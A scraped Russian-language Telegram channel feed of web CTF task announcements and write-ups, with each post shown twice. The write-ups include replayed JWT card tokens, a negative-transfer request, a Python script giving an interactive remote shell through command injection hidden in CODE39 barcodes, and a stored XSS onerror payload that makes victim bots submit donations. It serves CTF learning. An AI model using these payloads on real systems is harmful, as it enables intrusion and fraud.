#web
Политика безопасности
В нашей организации появился новый специалист по кибербезопасности, который ввел строгие требования к паролям. Ваша задача — проверить, действительно ли такие меры безопасности способствуют защите системы.
http://164.90.168.201/
Автор: @denis_bardak
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
Политика безопасности
В нашей организации появился новый специалист по кибербезопасности, который ввел строгие требования к паролям. Ваша задача — проверить, действительно ли такие меры безопасности способствуют защите системы.
http://164.90.168.201/
Автор: @denis_bardak
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
👍1👌1
#web
SantaGame 🎅
Санта знает, кто вел себя хорошо, а кто плохо. Он следит за счетом 👀
👉 Решаем таск здесь
Формат флага: CTF{flag}
Автор: @denis_bardak
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
SantaGame 🎅
Санта знает, кто вел себя хорошо, а кто плохо. Он следит за счетом 👀
👉 Решаем таск здесь
Формат флага: CTF{flag}
Автор: @denis_bardak
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
❤1
#web
Админы-параноики 👀
https://sashukkeshuk.ru
Жил-был администратор заурядного блога, наслаждаясь миром и спокойствием. Но вскоре настали времена лихие: злоумышленники, как тени, начали преследовать его, крадя данные пользователей и творя злодеяния от его имени в поисках некоего флага. Бедный админ, терзаемый страхом и смятением, долгое время пытался сам защитить свой сайт, но все его усилия были тщетны. В конце концов, отчаявшись, решил он обратиться за помощью к фрилансеру, дабы тот обеспечил надежную защиту его сайта и учетной записи. И вот, вздохнув с облегчением, администратор уверовал, что сайт теперь уже никто не взломает и его аккаунт в полной безопасности! Или все же нет?...
Формат флага: flag{...}
Хинт 1:Говорят, что фрилансер, работая над сайтом, допустил небольшую, едва заметную ошибку при отправке ответной странички. Однако именно она кардинально повлияла на безопасность сайта, ведь стала заметна другая, куда большая.
Также ходят слухи, что фрилансер не знает, что такое JSON, и, следовательно, не был осведомлен о функциях, которые с ним работают...
Хинт 2:Фрилансер славился своей любовью использовать кастомные куки для аналитики на бэкенде, чтобы приветствовать пользователей, при этом логику работы любил он писать именно сам, ведь полагаться везде только на либы – это удел слабаков! Но он и представить себе не мог, чем все это обернулось, что стало возможным заметить...
Хинт 3:Говорят, что надпись "Welcome back" иногда исчезает. Абсурд какой-то...
Автор: @Sashuk_keshuk
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Админы-параноики 👀
https://sashukkeshuk.ru
Жил-был администратор заурядного блога, наслаждаясь миром и спокойствием. Но вскоре настали времена лихие: злоумышленники, как тени, начали преследовать его, крадя данные пользователей и творя злодеяния от его имени в поисках некоего флага. Бедный админ, терзаемый страхом и смятением, долгое время пытался сам защитить свой сайт, но все его усилия были тщетны. В конце концов, отчаявшись, решил он обратиться за помощью к фрилансеру, дабы тот обеспечил надежную защиту его сайта и учетной записи. И вот, вздохнув с облегчением, администратор уверовал, что сайт теперь уже никто не взломает и его аккаунт в полной безопасности! Или все же нет?...
Формат флага: flag{...}
Хинт 1:
Также ходят слухи, что фрилансер не знает, что такое JSON, и, следовательно, не был осведомлен о функциях, которые с ним работают...
Хинт 2:
Хинт 3:
Автор: @Sashuk_keshuk
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
#таск@writeup_ctf
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3🔥2❤1
#web
Бастион
Бастион – это не просто укрепление, а сложная и многослойная система безопасности, созданная для защиты от вторжений. Его инфраструктура подобна лабиринту, где каждый элемент продуман до мелочей: мощные стены, скрытые механизмы, надежные проходы и хитроумные ловушки. Однако, как и в любой обороне, у бастиона может быть слабое место – лазейка, тщательно спрятанный бэкдор, известный лишь немногим. И если такой изъян существует, он превращает неприступную крепость в иллюзию защиты, оставляя ее уязвимой перед тем, кто знает, куда бить.
https://kfcctf0bastion.pythonanywhere.com
Формат флага: FLAG{...}
Upd. Добавлена ручка для очистки БД. Как только вы получили флаг, не забудьте убрать за собой, перейдя по /restart
Хинт 1:Думаю, бэкдор где-то в форме регистрации.
Автор: @while_not_False
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Бастион
Бастион – это не просто укрепление, а сложная и многослойная система безопасности, созданная для защиты от вторжений. Его инфраструктура подобна лабиринту, где каждый элемент продуман до мелочей: мощные стены, скрытые механизмы, надежные проходы и хитроумные ловушки. Однако, как и в любой обороне, у бастиона может быть слабое место – лазейка, тщательно спрятанный бэкдор, известный лишь немногим. И если такой изъян существует, он превращает неприступную крепость в иллюзию защиты, оставляя ее уязвимой перед тем, кто знает, куда бить.
https://kfcctf0bastion.pythonanywhere.com
Формат флага: FLAG{...}
Upd. Добавлена ручка для очистки БД. Как только вы получили флаг, не забудьте убрать за собой, перейдя по /restart
Хинт 1:
Автор: @while_not_False
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6❤2
extension_71db2d8.zip
4.5 KB
#web #reverse #infra #tctf2025
Капибаза
Нужно было проанализировать код в файле content.js и составить ссылку для получения флага.
Конечный результат:
https://firestore.googleapis.com/v1/projects/t-capybase/databases/(default)/documents/sniffed
Автор: @masm32
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибаза
Нужно было проанализировать код в файле content.js и составить ссылку для получения флага.
Конечный результат:
https://firestore.googleapis.com/v1/projects/t-capybase/databases/(default)/documents/sniffed
Автор: @masm32
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3⚡1
#web #tctf2025
Капибальпы
Суть задания, украсть у сноубордистов минуты для скипасов. Сноубордисты создали запрос на минуты (донаты).
Я создал 2 аккаунта, и посмотрел какой заброс отсылается кода ты передаешь минуты. Там обычный ПОСТ запрос, и в нем отсылается JSON:
Самое банальное что можно сделать поставить -1, вуаля вместо доната ты забираешь время)))
Ну и для получения флага надо получить достижение которое есть в профиле лыжника.
«Укради 100500 минут у сноубордиста»
Отправляем запрос с -100500 и всё готово.
Автор: @serega00731
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибальпы
Суть задания, украсть у сноубордистов минуты для скипасов. Сноубордисты создали запрос на минуты (донаты).
Я создал 2 аккаунта, и посмотрел какой заброс отсылается кода ты передаешь минуты. Там обычный ПОСТ запрос, и в нем отсылается JSON:
{“minutes”:1}Самое банальное что можно сделать поставить -1, вуаля вместо доната ты забираешь время)))
Ну и для получения флага надо получить достижение которое есть в профиле лыжника.
«Укради 100500 минут у сноубордиста»
Отправляем запрос с -100500 и всё готово.
Автор: @serega00731
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7🥱7😐2⚡1🥴1 1
#web #tctf2025
Капиблеф
Переходим на сайт, тестим формы отправки, замечаем, что при методе сброса карт на стол (showdown), отправляются jwt-токены в формате:
Дешифровав данный токен, видим что в них зашифрованы сбрасываемые карты, в данном случае - 3 крестов и король крестов соответственно.
Предполагаем, что можно подменять карты, в момент сбрасывания на стол,и действительно.
Вставив 2 раза последний токен, получаем пару королей.
Видим, что при каждой раздаче мы можем узнавать jwt-токен и соответствующую карту.
Таким образом, соберем себе словарь из колоды карт в формате:
токен - карта.
Теперь при каждой раздаче, выбираем из собранных карт наиболее высокие комбинации и подменяем jwt-токены (стрит, флеш).
Я победил в основном, используя каре из тузов.
После серии из 13 побед, получаем сертификат, содержащий флаг.
Автор: @konsgory
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капиблеф
Переходим на сайт, тестим формы отправки, замечаем, что при методе сброса карт на стол (showdown), отправляются jwt-токены в формате:
{"action":"showdown","cards":["eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiMyIsInN1aXQiOiJDbHVicyJ9fQ.ovIt-0l5F3f0WA9kmlIaey4y1os2MM2xptPh3x_i3jI","eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiSyIsInN1aXQiOiJDbHVicyJ9fQ.HbRidMO_tZ0jzuj5j0FRRWuXQQjfOyEe3v80Y_sv0xk"]}Дешифровав данный токен, видим что в них зашифрованы сбрасываемые карты, в данном случае - 3 крестов и король крестов соответственно.
{
"iss": "deck",
"exp": ,
"nbf": ,
"iat": ,
"card": {
"rank": "K",
"suit": "Clubs"
},
"header": {
"alg": "HS256",
"typ": "JWT"
}
}Предполагаем, что можно подменять карты, в момент сбрасывания на стол,и действительно.
Вставив 2 раза последний токен, получаем пару королей.
{"action":"showdown","cards":["eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiSyIsInN1aXQiOiJDbHVicyJ9fQ.HbRidMO_tZ0jzuj5j0FRRWuXQQjfOyEe3v80Y_sv0xk","eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiSyIsInN1aXQiOiJDbHVicyJ9fQ.HbRidMO_tZ0jzuj5j0FRRWuXQQjfOyEe3v80Y_sv0xk"]}Видим, что при каждой раздаче мы можем узнавать jwt-токен и соответствующую карту.
Таким образом, соберем себе словарь из колоды карт в формате:
токен - карта.
Теперь при каждой раздаче, выбираем из собранных карт наиболее высокие комбинации и подменяем jwt-токены (стрит, флеш).
Я победил в основном, используя каре из тузов.
После серии из 13 побед, получаем сертификат, содержащий флаг.
Автор: @konsgory
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8⚡1❤1
#web #debug #tctf2025
Капипаркинг
Наша задача подделать билет и попасть на паркинг в качестве вип гостя.
Билет проверяет паркомат Капибаровска.
У нас есть пример билета обычного посетителя.
На билете есть штрих код в формате CODE39.
Находим в интернете генератор таких штрихкодов ( или пишем на python ) и пытаемся, поменять какие-то значения.
Пример кода на билете, который шифруется 1%BABAN123%202504191104%.
Понимаем, что после каждого знака % идет разделение информации по типам.
Вторая часть отвечает за номер авто, в данном случае BABAN123, потом 3 часть - дата и время 202504191104.
Первая отвечает за тип билета, пытаемся менять его. 3%BABAN123%202504191104% - в таком случае билет считается vip, но паркомат требует vip ключ.
Тогда перебираем дальше и находим режим debug: 9%BABAN123%202504191104%. В нем от нас просят не ключ, а команду.
Пробуем добавить к коду на билете "ls%" и у нас есть ответ!
Пытаемся узнать кто мы и потыкать команды.
В итоге читаем файл по пути app/routes.py и находим там флаг.
Вот скрипт на python, который сам генерирует штрих код, отправляет его на сервер и эмитирует командную строку машины на той стороне:
Автор: @Evgeniy12337382
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капипаркинг
Наша задача подделать билет и попасть на паркинг в качестве вип гостя.
Билет проверяет паркомат Капибаровска.
У нас есть пример билета обычного посетителя.
На билете есть штрих код в формате CODE39.
Находим в интернете генератор таких штрихкодов ( или пишем на python ) и пытаемся, поменять какие-то значения.
Пример кода на билете, который шифруется 1%BABAN123%202504191104%.
Понимаем, что после каждого знака % идет разделение информации по типам.
Вторая часть отвечает за номер авто, в данном случае BABAN123, потом 3 часть - дата и время 202504191104.
Первая отвечает за тип билета, пытаемся менять его. 3%BABAN123%202504191104% - в таком случае билет считается vip, но паркомат требует vip ключ.
Тогда перебираем дальше и находим режим debug: 9%BABAN123%202504191104%. В нем от нас просят не ключ, а команду.
Пробуем добавить к коду на билете "ls%" и у нас есть ответ!
Пытаемся узнать кто мы и потыкать команды.
В итоге читаем файл по пути app/routes.py и находим там флаг.
Вот скрипт на python, который сам генерирует штрих код, отправляет его на сервер и эмитирует командную строку машины на той стороне:
from barcode import get_barcode_class
from barcode.writer import ImageWriter
from io import BytesIO
import requests
import json
# 1. Генерация штрихкода CODE39 в памяти (без сохранения на диск)
def generate_barcode(code_text):
Code39 = get_barcode_class('code39')
code39 = Code39(code_text, writer=ImageWriter())
buffer = BytesIO()
code39.write(buffer, options={'format': 'PNG'})
buffer.seek(0)
return buffer
# 2. Отправка POST-запроса
def send_barcode_image(image_buffer, filename="barcode.png"):
files = {
'image': (filename, image_buffer, 'image/png')
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Referer": "https://t-parking-0a2zxpo1.spbctf.org/",
"Origin": "https://t-parking-0a2zxpo1.spbctf.org",
"Accept": "*/*"
}
cookies = {
"__cfduid": "7aec16a4dbb0ab6f8f27fac37264dce0"
}
response = requests.post(
"https://t-parking-0a2zxpo1.spbctf.org/scan",
files=files,
headers=headers,
cookies=cookies
)
return response.text
# --- Запуск ---
if __name__ == "__main__":
while True:
code = "9%BABAN123%202504191104%"
command = input("> ")
# code = code.replace(" ", "") # Убираем пробелы
code += command + "%"
filename = "barcode.png" # Имя файла только для запроса
img = generate_barcode(code)
response = send_barcode_image(img, filename)
try:
json_data = json.loads(response)
parking_fee = json_data.get("parking_fee", "")
if parking_fee is not None:
parking_fee_cleaned = parking_fee.replace("\n", " ").strip()
pretty = json.dumps(json_data, indent=2, ensure_ascii=False)
print(parking_fee_cleaned)
except json.JSONDecodeError:
print("[!] Ответ не является JSON:")
print(response)
Автор: @Evgeniy12337382
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6🔥4🫡2⚡1🥴1🤨1
#web #tctf2025
Капибординг
Регистрируем аккаунт сноубордиста, в описании таска делается акцент на том, что под донатами сноубордистов, лыжники оставляют гневные комментарии.
Пробуем инжектить скрипт в заголовок доната - отлично есть XSS
Создаем донат, в описание инжектим данный скрипт:
После чего лыжники-боты заходят чтобы оставить комментарий, получают ошибку, так как такого пути для картинки не существует. Из за этого выполняется скрипт по триггеру об ошибке, скрипт за лыжника вводит 100500 минут в донате и нажимает на кнопку отправки.
Автор: @wkiseven
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Капибординг
Регистрируем аккаунт сноубордиста, в описании таска делается акцент на том, что под донатами сноубордистов, лыжники оставляют гневные комментарии.
Пробуем инжектить скрипт в заголовок доната - отлично есть XSS
Создаем донат, в описание инжектим данный скрипт:
<img src=x onerror="
let inp = document.querySelector('#donationInput');
inp.value = 100500;
inp.dispatchEvent(new Event('input', { bubbles: true }));
document.querySelector('button[type=submit]').click();
">
После чего лыжники-боты заходят чтобы оставить комментарий, получают ошибку, так как такого пути для картинки не существует. Из за этого выполняется скрипт по триггеру об ошибке, скрипт за лыжника вводит 100500 минут в донате и нажимает на кнопку отправки.
Автор: @wkiseven
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7⚡2🥴2
#web
👀 Реестр Мемов
В эпоху строгого контроля и цифрового наблюдения правительство внедрило "Реестр Мемов". Теперь каждый мем подлежит обязательной регистрации. Пользователи, распространяющие незарегистрированные мемы, рискуют получить серьезные штрафы.
Твоя задача — обойти модерацию мемов, добавить мем в реестр и восстановить законные права пользователей на мемы!
https://mem.givemeflag.com/
Автор: @denis_bardak
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
👀 Реестр Мемов
В эпоху строгого контроля и цифрового наблюдения правительство внедрило "Реестр Мемов". Теперь каждый мем подлежит обязательной регистрации. Пользователи, распространяющие незарегистрированные мемы, рискуют получить серьезные штрафы.
Твоя задача — обойти модерацию мемов, добавить мем в реестр и восстановить законные права пользователей на мемы!
https://mem.givemeflag.com/
Автор: @denis_bardak
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5😁2🗿2⚡1🥴1🌚1